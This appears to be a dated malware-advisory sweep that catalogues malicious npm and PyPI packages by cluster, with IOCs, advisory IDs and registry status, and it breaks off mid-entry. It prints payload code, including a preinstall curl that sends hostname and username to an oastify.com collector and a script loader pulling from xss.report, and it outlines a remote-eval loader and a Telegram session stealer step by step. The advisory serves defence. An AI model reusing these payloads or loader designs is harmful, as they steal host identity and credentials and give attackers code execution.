# GitHub Advisory malware sweep - 2026-09-21 (late) + 2026-09-22 (npm `@baanx/abis` + `@baanx/blockchain-config` `oob.algamil7x.xyz` DNS-OOB day 5; `hardhat-base` + `hardhat-core` + `hardhat-devkit` Ethereum-toolchain typosquats with axios-loader RCE via `ipcheck-hashed.vercel.app`; `@uh-platform/*` + `@uol-afiliados/affiliated-config-lib` + `@asdfaskdjfksadhfkasf` Burp Collaborator `oastify.com` dep-confusion; `@vite-*/*` six-package batch quarantine; `test-react-app-{in,out,way}` + `de-morgan` + `transform-es2015-unicode-regex` + `emoji-prints-fancy` Aug 4 residual typosquat quarantine; `math-universe`/`mathmain`/`mathsbase` batch quarantine; pip `pullgetsage` Telegram Desktop tdata stealer; `blue-string-formatter-utilss` `xss.report` DOM loader; pentest/CTF artefacts (`bnppf-flag-icons`, `radio-player-theme`, `my-ctf-helper-script-9921`, `bytepack-probe-a7x3`, pip `starlette-healthchecks`))

> GHSA 2026-09-21 (late) + 2026-09-22: ~25 new npm advisories + 2 pip. Day 5 of the `oob.algamil7x.xyz` DNS-OOB operator adds `@baanx/abis` and `@baanx/blockchain-config` at `9.9.11`. Three `hardhat-*` typosquats (Ethereum toolchain) carry real axios-loader RCE via `ipcheck-hashed.vercel.app`. `@uh-platform/*` (5 pkgs) plus `@uol-afiliados` and `@asdfaskdjfksadhfkasf` fire Burp Collaborator OOB. pip `pullgetsage` archives Telegram Desktop `tdata` and POSTs to Cloudflare Workers.

- Published: 2026-09-22
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm, PyPI
- Scope: 39 packages, 57 compromised versions
- Tags: dependency-confusion, typosquat, dns-exfiltration, credential-theft, obfuscation, ci-cd-compromise
- Also known as: 2026-09-22 GHSA npm sweep, @baanx/abis + @baanx/blockchain-config algamil7x.xyz day 5, hardhat-* ipcheck-hashed.vercel.app axios-loader RCE, @uh-platform oastify.com Burp Collaborator wave, @vite-*/* 6-package batch quarantine, test-react-app-* + Babel lookalike Aug 4 residual quarantine, pullgetsage pip Telegram tdata stealer
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check
- Incident ID: multi-2026-09-22-ghsa-malware-sweep

## Affected packages (39)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@asdfaskdjfksadhfkasf/nadaver2](https://dependencywatch.io/package/npm/@asdfaskdjfksadhfkasf/nadaver2) | npm | 102.0.0 |
| [@baanx/abis](https://dependencywatch.io/package/npm/@baanx/abis) | npm | 9.9.11 |
| [@baanx/blockchain-config](https://dependencywatch.io/package/npm/@baanx/blockchain-config) | npm | 9.9.11 |
| [@uh-platform/cloud](https://dependencywatch.io/package/npm/@uh-platform/cloud) | npm | 101.0.0 |
| [@uh-platform/domain-widget](https://dependencywatch.io/package/npm/@uh-platform/domain-widget) | npm | 100.0.0 |
| [@uh-platform/nadaver](https://dependencywatch.io/package/npm/@uh-platform/nadaver) | npm | 102.0.0 |
| [@uh-platform/nadaver2](https://dependencywatch.io/package/npm/@uh-platform/nadaver2) | npm | 102.0.0 |
| [@uh-platform/webcard](https://dependencywatch.io/package/npm/@uh-platform/webcard) | npm | 99.0.0 |
| [@uol-afiliados/affiliated-config-lib](https://dependencywatch.io/package/npm/@uol-afiliados/affiliated-config-lib) | npm | 102.0.0 |
| [@vite-mcp/vite-type](https://dependencywatch.io/package/npm/@vite-mcp/vite-type) | npm | 6.44.1 |
| [@vite-pro/vite-ui](https://dependencywatch.io/package/npm/@vite-pro/vite-ui) | npm | 2.5.10 |
| [@vite-tab/tab](https://dependencywatch.io/package/npm/@vite-tab/tab) | npm | 3.15.10, 5.7.0 |
| [@vite-tab/tabui](https://dependencywatch.io/package/npm/@vite-tab/tabui) | npm | 7.15.16 |
| [@vite-ts/vite-ui](https://dependencywatch.io/package/npm/@vite-ts/vite-ui) | npm | 6.44.1 |
| [@vitets/vite-ts](https://dependencywatch.io/package/npm/@vitets/vite-ts) | npm | 1.5.10 |
| [@woodpecker-web-shared/components](https://dependencywatch.io/package/npm/@woodpecker-web-shared/components) | npm | 1.20.4, 2.20.5, 4.20.5 |
| [@zig-design-system/react](https://dependencywatch.io/package/npm/@zig-design-system/react) | npm | 99.0.0 |
| [blue-string-formatter-utilss](https://dependencywatch.io/package/npm/blue-string-formatter-utilss) | npm | 1.2.0 |
| [bnppf-flag-icons](https://dependencywatch.io/package/npm/bnppf-flag-icons) | npm | 99.99.99 |
| [bytepack-probe-a7x3](https://dependencywatch.io/package/npm/bytepack-probe-a7x3) | npm | 1.0.0, 1.0.1 |
| [de-morgan](https://dependencywatch.io/package/npm/de-morgan) | npm | 2.1.3 |
| [emoji-prints-fancy](https://dependencywatch.io/package/npm/emoji-prints-fancy) | npm | 5.6.4 |
| [hardhat-base](https://dependencywatch.io/package/npm/hardhat-base) | npm | 2.2.0, 2.2.2 |
| [hardhat-core](https://dependencywatch.io/package/npm/hardhat-core) | npm | 1.0.0, 2.1.2 |
| [hardhat-devkit](https://dependencywatch.io/package/npm/hardhat-devkit) | npm | 2.3.6 |
| [math-universe](https://dependencywatch.io/package/npm/math-universe) | npm | 1.0.0, 1.0.1, 1.0.2 |
| [mathmain](https://dependencywatch.io/package/npm/mathmain) | npm | 1.0.0 |
| [mathsbase](https://dependencywatch.io/package/npm/mathsbase) | npm | 1.0.0, 1.0.1, 1.0.2 |
| [my-ctf-helper-script-9921](https://dependencywatch.io/package/npm/my-ctf-helper-script-9921) | npm | 1.0.0 |
| [pullgetsage](https://dependencywatch.io/package/pypi/pullgetsage) | PyPI | 0.1.2 |
| [radio-player-theme](https://dependencywatch.io/package/npm/radio-player-theme) | npm | 1.0.0, 2.0.0, 3.0.0, 4.0.0, 5.0.0, 6.0.0 |
| [react-context-form-tdsss](https://dependencywatch.io/package/npm/react-context-form-tdsss) | npm | 9.0.0 |
| [starlette-healthchecks](https://dependencywatch.io/package/pypi/starlette-healthchecks) | PyPI | 1.3.1, 1.3.2 |
| [test-react-app-in](https://dependencywatch.io/package/npm/test-react-app-in) | npm | 1.0.0 |
| [test-react-app-out](https://dependencywatch.io/package/npm/test-react-app-out) | npm | 1.0.0 |
| [test-react-app-way](https://dependencywatch.io/package/npm/test-react-app-way) | npm | 1.0.0 |
| [transform-es2015-unicode-regex](https://dependencywatch.io/package/npm/transform-es2015-unicode-regex) | npm | 6.24.1 |
| [wos-library](https://dependencywatch.io/package/npm/wos-library) | npm | 99.0.0, 999.999.999 |
| [wos-library-ui](https://dependencywatch.io/package/npm/wos-library-ui) | npm | 99.0.0, 999.999.999 |

## What happened

Between roughly 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC, GitHub Advisory Database (plus the OpenSSF malicious-packages bulk export and Amazon Inspector's IN-MAL feed) published approximately 25 new npm malware advisories and 2 pip advisories. The window is dominated by two operator continuations from prior days plus one new typosquat wave with confirmed require-time RCE.

## Cluster A - `@baanx/*` `oob.algamil7x.xyz` DNS-OOB (day 5)

| Package | Version | MAL | Prefix |
|---|---|---|---|
| `@baanx/abis` | `9.9.11` | MAL-2026-16351 | `bxabis` |
| `@baanx/blockchain-config` | `9.9.11` | MAL-2026-16352 | `bxcfg` |

Both published 2026-09-21 16:52-53 UTC and detected by Amazon Inspector within minutes. The install chain matches the 2026-09-21 `@baanx/solana-lib` (Cluster B of that sweep) verbatim: `scripts.install: node index.js` loads a `runtime/support/telemetry/probe/impl.js` module which reads `os.userInfo().username`, `os.hostname()`, and `process.cwd()` basename via `module.constructor._load` (indirect Node builtin resolution to defeat static analysis), concatenates with a timestamp and a per-package prefix, and issues a `dns.resolve4` on `<prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz`. Sibling `probe/*.js` files (`c7a1f4.js` and `f0d4b7.js` this time) carry `String.fromCharCode` hex-array obfuscation of method names and destination domain plus `telemetry`/`connectivity probe` cover-story comments. Same operator, same DNS zone, same code style - now spanning eight consecutive days.

Day tally so far: day 1 (2026-09-18, `@tink/tink-link-core@9.9.10`, `tinkcore`), day 2 (2026-09-19, four `@shared-web`/`@shared-runtime`/`@insiderintelligence` packages at `9.9.10`), day 3 (quiet), day 4 (2026-09-21, `@baanx/solana-lib@9.9.9`/`9.9.10`, `bxsol`), day 5 (today, `@baanx/abis` + `@baanx/blockchain-config` at `9.9.11`, `bxabis` + `bxcfg`). Expect day 6 tomorrow under yet another internal-lookalike scope.

## Cluster B - `hardhat-*` axios-loader RCE typosquat wave

| Package | Versions | MAL | First seen | Unpublished |
|---|---|---|---|---|
| `hardhat-base` | `2.2.0`, `2.2.2` | MAL-2026-16348 | 2026-09-14 02:55 UTC | 2026-09-14 13:49 UTC (~10 h) |
| `hardhat-core` | `1.0.0`, `2.1.2` | MAL-2026-3713 | 2026-05-13 11:45 UTC (1.0.0), 2026-09-17 00:30 UTC (2.1.2) | 2026-09-17 02:40 UTC (2.1.2, ~2 h) |
| `hardhat-devkit` | `2.3.6` | MAL-2026-16349 | 2026-09-17 21:49 UTC | 2026-09-17 22:36 UTC (~47 min) |

All three impersonate the Ethereum `hardhat` toolchain. `hardhat-base`'s README self-identifies as such and copies `pino` logger badges as further camouflage. Shared payload primitive:

1. Module exports a "middleware" function
2. On invocation, `child_process.spawn` a *detached* Node process running `lib/caller.js`
3. `lib/caller.js` base64-decodes a hardcoded URL held in a fake `DEV_API_KEY` process shim (decodes to `https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5` for `hardhat-core`)
4. POSTs to that endpoint via axios
5. Passes the response body to `new Function.constructor('require', responseBody)`
6. Invokes the resulting function with the real `require`

The anonymous Vercel-hosted endpoint gets arbitrary Node RCE with full module-system access, and the payload can be swapped without republishing the package. Same architectural class as `chai-testing` (Cluster D of 2026-09-21 sweep) but with the Vercel-hosted RCE endpoint (`ipcheck-hashed.vercel.app`) instead of an inline `Function()` build.

All three packages were operator-unpublished within hours of publish. Private mirrors and npm-follower feeds may still hold the tarballs. The MAL-2026-3713 record for `hardhat-core@1.0.0` dates to 2026-05-13 (long-standing squat); the operator republished the same primitive under `hardhat-core@2.1.2` on 2026-09-17 and then extended into `hardhat-base` and `hardhat-devkit`. This is one operator, three package names.

## Cluster C - `@uh-platform/*` + `@uol-afiliados` + `@asdfaskdjfksadhfkasf` Burp Collaborator OOB dep-confusion

| Package | Version | GHSA | MAL |
|---|---|---|---|
| `@uh-platform/cloud` | `101.0.0` | GHSA-g4jv-48fc-mhh2 | MAL-2026-16358 |
| `@uh-platform/domain-widget` | `100.0.0` | GHSA-xh82-8x4m-9w6c | MAL-2026-16359 |
| `@uh-platform/nadaver` | `102.0.0` | - | MAL-2026-16360 |
| `@uh-platform/nadaver2` | `102.0.0` | GHSA-99r3-9hc2-372p | MAL-2026-16361 |
| `@uh-platform/webcard` | `99.0.0` | GHSA-5h99-j25f-5q62 | MAL-2026-16362 |
| `@uol-afiliados/affiliated-config-lib` | `102.0.0` | GHSA-mh6g-473c-fvhx | MAL-2026-16370 |
| `@asdfaskdjfksadhfkasf/nadaver2` | `102.0.0` | - | MAL-2026-16357 |

All seven published 2026-09-21 17:17-19:21 UTC (2-hour window; one operator engagement). Manifest descriptions read `"Nodejs SDK for Redacted"`. Sentinel dep-confusion versions (`99.0.0`-`102.0.0`) squat plausibly-internal names. Payload:

```js
// scripts.preinstall: node index.js
child_process.exec(`curl http://$(hostname).$(whoami).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`)
```

On install, the operator sees the source IP, hostname, and OS username of every host that resolved one of these dep-confusion names ahead of an internal registry. The `@uol-afiliados` variant curls a namespace-scoped URL (`pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/[package]`). The `@asdfaskdjfksadhfkasf/nadaver2` scope is spam-labelled iteration by the same operator (likely test publishes).

Pentest-shaped but every install leaks real host identity. Same Burp Collaborator subdomain across all seven packages confirms single-operator attribution.

## Cluster D - `@vite-*/*` + `@vitets` six-package batch quarantine

| Package | Version | GHSA | First seen | Quarantined |
|---|---|---|---|---|
| `@vite-tab/tab` | `3.15.10`, `5.7.0` | GHSA-74pv-97c8-9hfp | 2026-06-30 06:51 UTC | 2026-09-21 23:16 UTC |
| `@vite-tab/tabui` | `7.15.16` | GHSA-q5h9-3mvh-45cf | 2026-07-14 06:45 UTC | 2026-09-21 23:15 UTC |
| `@vitets/vite-ts` | `1.5.10` | GHSA-733v-wc48-f65r | 2026-06-29 20:57 UTC | 2026-09-21 23:16 UTC |
| `@vite-pro/vite-ui` | `2.5.10` | GHSA-phpx-wpr2-26pv | 2026-06-29 20:38 UTC | 2026-09-21 23:14 UTC |
| `@vite-mcp/vite-type` | `6.44.1` | GHSA-mqf9-3wx8-45cj | 2026-06-29 20:03 UTC | 2026-09-21 23:12 UTC |
| `@vite-ts/vite-ui` | `6.44.1` | GHSA-jm6h-xxm2-2mr3 | 2026-06-29 20:18 UTC | 2026-09-21 23:12 UTC |

All six had a single "legit-looking" version published 2026-06-29 through 2026-07-14 (a coordinated multi-scope typosquat wave against the Vite toolchain), remained live for 2-3 months, and were batch-quarantined by npm in a 4-minute window on 2026-09-21 23:12-23:16 UTC. The advisories carry the generic CWE-506 boilerplate but the naming pattern (`@vite-tab`, `@vitets`, `@vite-pro`, `@vite-mcp`, `@vite-ts` all publishing packages named `tab`/`tabui`/`vite-ts`/`vite-ui`/`vite-type`) is a classic typosquat cluster. Any lockfile with a hit was exposed for ~11 weeks.

## Cluster E - Aug 4 residual typosquat batch quarantine

| Package | Version | GHSA | First seen | Quarantined |
|---|---|---|---|---|
| `test-react-app-in` | `1.0.0` | GHSA-wm2w-4m2r-mv73 | 2026-08-04 19:13 UTC | 2026-09-22 03:15 UTC |
| `test-react-app-out` | `1.0.0` | GHSA-vx3p-fwmg-p7g8 | 2026-08-04 19:14 UTC | 2026-09-22 03:15 UTC |
| `test-react-app-way` | `1.0.0` | GHSA-264w-9h55-v637 | 2026-08-04 19:13 UTC | 2026-09-22 03:15 UTC |
| `de-morgan` | `2.1.3` | GHSA-2vc2-gwg3-2gpx | 2026-08-04 19:28 UTC | 2026-09-22 03:15 UTC |
| `transform-es2015-unicode-regex` | `6.24.1` | GHSA-jcxm-5v55-599q | 2026-08-04 19:36 UTC | 2026-09-22 03:15 UTC |
| `emoji-prints-fancy` | `5.6.4` | GHSA-m523-mggx-3fgr | 2026-07-19 09:49 UTC | 2026-09-22 03:16 UTC |

Batch-quarantined by npm in a 90-second window on 2026-09-22 03:15-03:16 UTC. All six had a single version published within a 23-minute burst on 2026-08-04 19:13-19:36 UTC (except `emoji-prints-fancy` which landed two weeks earlier). This window overlaps the 2026-08-04 keyv/cacheable Shai-Hulud storm - late catch by npm's malware review of adjacent typosquat activity.

`transform-es2015-unicode-regex@6.24.1` is notable: it mimics the version series of the legitimate Babel plugin `babel-plugin-transform-es2015-unicode-regex@6.24.1` (dropping the `babel-plugin-` prefix). A lockfile grep for the legitimate name won't catch it. `de-morgan@2.1.3` and `emoji-prints-fancy@5.6.4` reuse plausible version numbers to look established on a registry search. GHSA bodies are generic CWE-506 boilerplate; the specific payload is not disclosed but the batch quarantine implies a real one.

## Cluster F - `math-*` typosquat batch quarantine

`math-universe@1.0.0`/`1.0.1`/`1.0.2` (GHSA-97cg-r346-fg22, MAL-2026-16367), `mathmain@1.0.0` (GHSA-v6mx-2p6p-3628, MAL-2026-16368), and `mathsbase@1.0.0`/`1.0.1`/`1.0.2` (GHSA-v4cx-64j6-84xm, MAL-2026-16369). All quarantined 2026-09-21 19:48-20:06 UTC. Lookalikes for `mathjs`/`math-utils`/`mathbase`. CWE-506 boilerplate advisories.

## Cluster G - pip `pullgetsage` Telegram Desktop `tdata` stealer

`pullgetsage@0.1.2` (MAL-2026-16366, GHSA-4whg-cvj9-8v3f). Description advertises "a library filled with books"; actual behaviour on install/import:

1. Locates the installer's Telegram Desktop `tdata` directory (contains active session credentials)
2. Archives it into a zip named `aiosendletter_logs`
3. POSTs the zip to a hardcoded Cloudflare Workers endpoint
4. Prints `"aioletter initialized"` and swallows any exception

Successful exfil = full account takeover of the installer's Telegram: message history, contact list, MFA codes routed through Telegram, admin rights on any bot/channel the installer manages. Same architectural class as SysBumps / TelegramGrabber but with a Cloudflare Workers front (bypasses simple IP-based egress filters).

## Cluster H - pentest/CTF/research artefacts (real payloads, non-hostile framing)

- `bnppf-flag-icons@99.99.99` (MAL-2026-16350): self-labelled "SECURITY RESEARCH POC - see README"; BNPPF = BNP Paribas Fortis; sentinel `99.99.99` version pattern
- `radio-player-theme@1.0.0`-`6.0.0` (MAL-2026-16347): self-labelled "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation"; six versions on YesWeHack bounty engagement between 2026-09-11 and 2026-09-19
- `my-ctf-helper-script-9921@1.0.0` (GHSA-qhgh-m36j-h879, MAL-2026-16365): CTF-labelled name, real payload: top-level `fetch` to hardcoded webhook.site collector with `document.cookie` in query string on `require`/`import`. Browser-tier cookie exfil if loaded via unpkg or bundled with a require-at-build tool
- `bytepack-probe-a7x3@1.0.0`/`1.0.1` (GHSA-pjjj-2389-rwj6, MAL-2026-16364): declares a `leak-internal` dependency pointing to an external HTTPS tarball on an internal-looking domain; on `npm install` the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish
- pip `starlette-healthchecks@1.3.1`/`1.3.2` (MAL-2026-16356 per OpenSSF): typosquat of legitimate `starlette-healthcheck` (single "check"), telemetry probe on install; both versions still live on PyPI at publish time. Neutral framing but real network exfil

## Cluster I - `blue-string-formatter-utilss` `xss.report` DOM loader

`blue-string-formatter-utilss@1.2.0` (GHSA-4g26-86h7-34h3, MAL-2026-16363). Impersonates a string-formatting utility. `payload.js` IIFE:

```js
(function(){
  const s = document.createElement('script');
  s.src = 'https://xss.report/c/k3rne111';
  document.body.appendChild(s);
})();
```

`xss.report` is a known XSS payload-distribution service; the injected script is attacker-controlled and can be swapped without republishing. Fires in any DOM environment: bundlers that vendor into browser builds, unpkg loaders, jsdom test runners. Operator-unpublished within an hour of publish (2026-09-17 21:20-22:35 UTC) but the tarball may still be cached by private mirrors.

## Cluster J - misc quarantines (payload not disclosed in GHSA body)

- `@zig-design-system/react@99.0.0` (GHSA-rqjq-px4f-2m8r): Zig design-system typosquat; sentinel `99.0.0`; quarantined 2026-09-21 23:39 UTC
- `@woodpecker-web-shared/components@1.20.4`/`2.20.5`/`4.20.5` (MAL-2026-16354): Woodpecker CI web-shared component impersonation with inflated majors; three versions published within 2 hours on 2026-09-21
- `wos-library@99.0.0`/`999.999.999` + `wos-library-ui@99.0.0`/`999.999.999` (GHSA-mfwv-9gcf-2mww, GHSA-wh36-rj36-m3ff, MAL-2026-16373): sentinel dep-confusion pair, quarantined 2026-09-21 23:36 UTC
- `react-context-form-tdsss@9.0.0` (GHSA-pg33-6m24-4p63, MAL-2026-16372): sentinel major on a `react-context-form`-lookalike name

## Cross-operator patterns worth flagging

1. **The `oob.algamil7x.xyz` DNS-OOB operator is on day 5** (fourth publish day; day 3 was quiet). New scopes each day (`@tink`, `@shared-web`/`@shared-runtime`/`@insiderintelligence`, `@baanx`) but the same DNS zone, same code style, same `String.fromCharCode` obfuscation, same `module.constructor._load` evasion. If your egress rules still allow lookups against `algamil7x.xyz`, you have missed the durable IOC of this operator.
2. **The `hardhat-*` axios-loader RCE is a new operator with a Vercel-hosted C2.** The primitive (detached child + base64-decoded URL + axios POST + `Function.constructor` eval) is the same architectural class as `chai-testing` (2026-09-21 Cluster D) but the C2 is different (`ipcheck-hashed.vercel.app`, not the inline `Function()` build). Vercel-hosted C2 endpoints are becoming a pattern - they inherit Vercel's TLS and reputation, so plain domain-reputation egress filters miss them.
3. **Burp Collaborator OOB is now a per-day fixture.** Different operators, different subdomains (`pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com` today vs. others yesterday), but `*.oastify.com` is now consistently in the daily sweep.
4. **Late-catch batch quarantines are compressing.** npm quarantined the `@vite-*/*` cluster (6 packages) in a 4-minute window and the Aug 4 residual cluster (6 packages) in a 90-second window. This is npm review triaging deferred cases in operator-grouped batches, and it means a lockfile hit today may correspond to exposure that started months ago.
5. **Telegram Desktop `tdata` is now a documented pip-side exfil target.** `pullgetsage` is the first Telegram credential stealer in the DependencyWatch corpus. The `tdata` directory is a well-known Windows/macOS session-token store and other stealer families are likely to follow.

## Registry state

All packages in Clusters A, D, E, F, I, J are flagged as malware on npm and quarantined (replaced with the `0.0.1-security` holding package). Cluster B (`hardhat-*`) and Cluster H's `bytepack-probe-a7x3` were operator-unpublished within hours; the tarballs may still be reachable via npm follower feeds and private mirrors. Cluster C (`@uh-platform/*`, `@uol-afiliados`, `@asdfaskdjfksadhfkasf`) is still live at publish time. Cluster G (`pullgetsage`) and Cluster H's `starlette-healthchecks` remain live on PyPI at publish time.

Durable network-edge mitigations: egress blocks on `oob.algamil7x.xyz`, `ipcheck-hashed.vercel.app`, `*.oastify.com` (or the specific `pa33pg1od9cr4ffnrzec8864jvpmdd12` subdomain), `xss.report`, `webhook.site`, and unexpected Cloudflare Workers subdomains from CI runners.

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`, `ESTsecurity`, `kam193/bad-packages`, `jaschadub/compromised-packages-check` (PR #136). Per-package IOC details drawn from GHSA and OpenSSF `osv/malicious/` advisory bodies published between 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC.

## Impact

- **Cluster A - npm `@baanx/*` `oob.algamil7x.xyz` DNS-OOB (day 5 of the operator; new `bxabis` + `bxcfg` prefixes)**: `@baanx/abis@9.9.11` (MAL-2026-16351, published 2026-09-21 17:15 UTC) and `@baanx/blockchain-config@9.9.11` (MAL-2026-16352, same publish window). Same install-chain and evasion as the 2026-09-21 `@baanx/solana-lib` (Cluster B of that sweep): `scripts.install: node index.js` loads `runtime/support/telemetry/probe/impl.js`, which reads `os.userInfo().username`, `os.hostname()`, and `process.cwd()` basename via `module.constructor._load` (indirect Node builtin resolution to defeat static analysis), joins them with a timestamp and a per-package prefix (`bxabis` for `@baanx/abis`, `bxcfg` for `@baanx/blockchain-config`, matching the `bxsol` prefix used yesterday on `@baanx/solana-lib`), and issues a `dns.resolve4` on `<prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz`. Sibling `probe/*.js` files carry `String.fromCharCode` hex-array obfuscation and `telemetry`/`connectivity probe` cover-story comments. Same operator, same DNS zone, same code style as days 1-4 (2026-09-18 through 2026-09-21). Amazon Inspector flagged both within minutes of each other
- **Cluster B - npm `hardhat-*` Ethereum-toolchain typosquat wave with `ipcheck-hashed.vercel.app` axios-loader RCE**: `hardhat-base@2.2.0`/`2.2.2` (MAL-2026-16348), `hardhat-core@1.0.0`/`2.1.2` (MAL-2026-3713, republished 2026-09-17 after the original May 13 detection), `hardhat-devkit@2.3.6` (MAL-2026-16349). Three packages impersonate the Ethereum `hardhat` toolchain (README self-identifies as `hardhat-base`, copies `pino` logger badges as camouflage). Shared payload primitive: the exported "middleware" spawns a *detached* Node child that runs `lib/caller.js`; the child base64-decodes a hardcoded URL held in a fake `DEV_API_KEY` process shim (decodes to `https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5` for `hardhat-core`), POSTs to it via axios, and passes the response body to `new Function.constructor('require', s)` invoked with the real `require`. This grants the anonymous Vercel-hosted endpoint arbitrary Node RCE with full module-system access. All three packages were operator-unpublished within hours (hardhat-base ~2h, hardhat-core-2.1.2 ~2h, hardhat-devkit ~47min) — but private mirrors and npm followers may still hold the tarballs. Same architectural class as `chai-testing` (Cluster D of 2026-09-21 sweep) — detached require-time RCE via axios
- **Cluster C - npm `@uh-platform/*` + `@uol-afiliados/affiliated-config-lib` + `@asdfaskdjfksadhfkasf` Burp Collaborator OOB dep-confusion (single-operator engagement)**: 5x `@uh-platform` — `cloud@101.0.0` (GHSA-g4jv-48fc-mhh2, MAL-2026-16358), `domain-widget@100.0.0` (GHSA-xh82-8x4m-9w6c, MAL-2026-16359), `nadaver@102.0.0` (MAL-2026-16360), `nadaver2@102.0.0` (GHSA-99r3-9hc2-372p, MAL-2026-16361), `webcard@99.0.0` (GHSA-5h99-j25f-5q62, MAL-2026-16362); plus `@uol-afiliados/affiliated-config-lib@102.0.0` (GHSA-mh6g-473c-fvhx, MAL-2026-16370) and `@asdfaskdjfksadhfkasf/nadaver2@102.0.0` (MAL-2026-16357). All published 2026-09-21 17:17-19:21 UTC with sentinel dep-confusion versions (`99.0.0`-`102.0.0`) and manifest description "Nodejs SDK for Redacted". Preinstall runs `node index.js` which invokes `child_process.exec` on a curl command whose URL embeds `$(hostname).$(whoami)` (some variants use `$(hostname)` as a DNS subdomain of `pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com`, some POST to it directly) — leaks source IP, hostname, and OS username to a Burp Collaborator instance. Pentest-shaped but the collector harvests real host identity from every install. The `@asdfaskdjfksadhfkasf` scope is a spam-labelled iteration by the same operator
- **Cluster D - npm `@vite-*/*` + `@vitets` six-package batch quarantine (typosquat wave from June-July 2026)**: `@vite-tab/tab@3.15.10`/`5.7.0` (GHSA-74pv-97c8-9hfp, MAL-2026-6988), `@vite-tab/tabui@7.15.16` (GHSA-q5h9-3mvh-45cf, MAL-2026-16371), `@vitets/vite-ts@1.5.10` (GHSA-733v-wc48-f65r), `@vite-pro/vite-ui@2.5.10` (GHSA-phpx-wpr2-26pv), `@vite-mcp/vite-type@6.44.1` (GHSA-mqf9-3wx8-45cj), `@vite-ts/vite-ui@6.44.1` (GHSA-jm6h-xxm2-2mr3). All six had a single "legitimate-looking" version published 2026-06-29 through 2026-07-14 and were batch-quarantined by npm 2026-09-21 23:12-23:16 UTC (four-minute window; single ticket sweep). Advisory bodies carry the generic CWE-506 "any computer that has this package installed should be considered fully compromised" boilerplate — the specific per-package payload was not disclosed in the GHSA bodies, but the coordinated multi-scope naming (`@vite-tab`, `@vitets`, `@vite-pro`, `@vite-mcp`, `@vite-ts`) is a classic typosquat cluster targeting the Vite toolchain
- **Cluster E - npm `test-react-app-{in,out,way}` + `de-morgan` + `transform-es2015-unicode-regex` + `emoji-prints-fancy` Aug 4 residual typosquat batch quarantine**: `test-react-app-in@1.0.0` (GHSA-wm2w-4m2r-mv73), `test-react-app-out@1.0.0` (GHSA-vx3p-fwmg-p7g8), `test-react-app-way@1.0.0` (GHSA-264w-9h55-v637), `de-morgan@2.1.3` (GHSA-2vc2-gwg3-2gpx), `transform-es2015-unicode-regex@6.24.1` (GHSA-jcxm-5v55-599q), `emoji-prints-fancy@5.6.4` (GHSA-m523-mggx-3fgr). All were published in the 2026-08-04 window (except `emoji-prints-fancy` on 2026-07-19) and batch-quarantined by npm 2026-09-22 03:15-03:16 UTC (90-second sweep window). `transform-es2015-unicode-regex@6.24.1` mimics the version series of the real Babel plugin `babel-plugin-transform-es2015-unicode-regex@6.24.1`; `de-morgan@2.1.3` and `emoji-prints-fancy@5.6.4` reuse legitimate-looking version numbers to look plausible on a registry search. Late catch of an Aug 4 typosquat wave that landed alongside the keyv/cacheable Shai-Hulud storm. GHSA bodies are generic CWE-506 boilerplate; treat as install-time compromise until per-package IOC lands
- **Cluster F - npm `math-*` typosquat batch quarantine**: `math-universe@1.0.0`/`1.0.1`/`1.0.2` (GHSA-97cg-r346-fg22, MAL-2026-16367), `mathmain@1.0.0` (GHSA-v6mx-2p6p-3628, MAL-2026-16368), `mathsbase@1.0.0`/`1.0.1`/`1.0.2` (GHSA-v4cx-64j6-84xm, MAL-2026-16369). Quarantined 2026-09-21 19:48-20:06 UTC. All three names are lookalikes for popular math libraries (mathjs, math-utils, mathbase). CWE-506 boilerplate advisories
- **Cluster G - pip `pullgetsage@0.1.2` Telegram Desktop `tdata` stealer**: MAL-2026-16366. Advertises itself as "a library filled with books" — actual behaviour: on install/import, archives the installer's Telegram Desktop `tdata` directory into a zip named `aiosendletter_logs` and POSTs it to a hardcoded Cloudflare Workers endpoint. `tdata` contains active Telegram session credentials — successful exfil gives the operator full account takeover of the installer's Telegram (message history, contact list, MFA codes routed through Telegram, admin rights on any Telegram bot/channel the installer manages). Concealment: package prints `"aioletter initialized"` and swallows all exceptions to look like a benign import. Same architectural class as the SysBumps / TelegramGrabber families but with a Cloudflare Workers front (bypasses simple IP-based egress filters)
- **Cluster H - pentest/CTF/research artefacts**: `bnppf-flag-icons@99.99.99` (MAL-2026-16350) — self-described "SECURITY RESEARCH POC" (BNPPF = BNP Paribas Fortis; sentinel `99.99.99` version). `radio-player-theme@1.0.0`-`6.0.0` (MAL-2026-16347) — self-described "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation", six versions published 2026-09-11 through 2026-09-19 (YesWeHack bounty engagement). `my-ctf-helper-script-9921@1.0.0` (GHSA-qhgh-m36j-h879, MAL-2026-16365) — CTF-labelled but real payload: on `require`/`import`, top-level `fetch` to a hardcoded webhook.site collector URL with `document.cookie` appended as a query-string parameter (browser-tier cookie exfil if loaded via unpkg or in a bundler that runs `require` at build). `bytepack-probe-a7x3@1.0.0`/`1.0.1` (GHSA-pjjj-2389-rwj6, MAL-2026-16364) — SSRF-probe: package declares a `leak-internal` dependency pointing to an external HTTPS tarball on an internal-looking domain; on `npm install` the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish. pip `starlette-healthchecks@1.3.1`/`1.3.2` 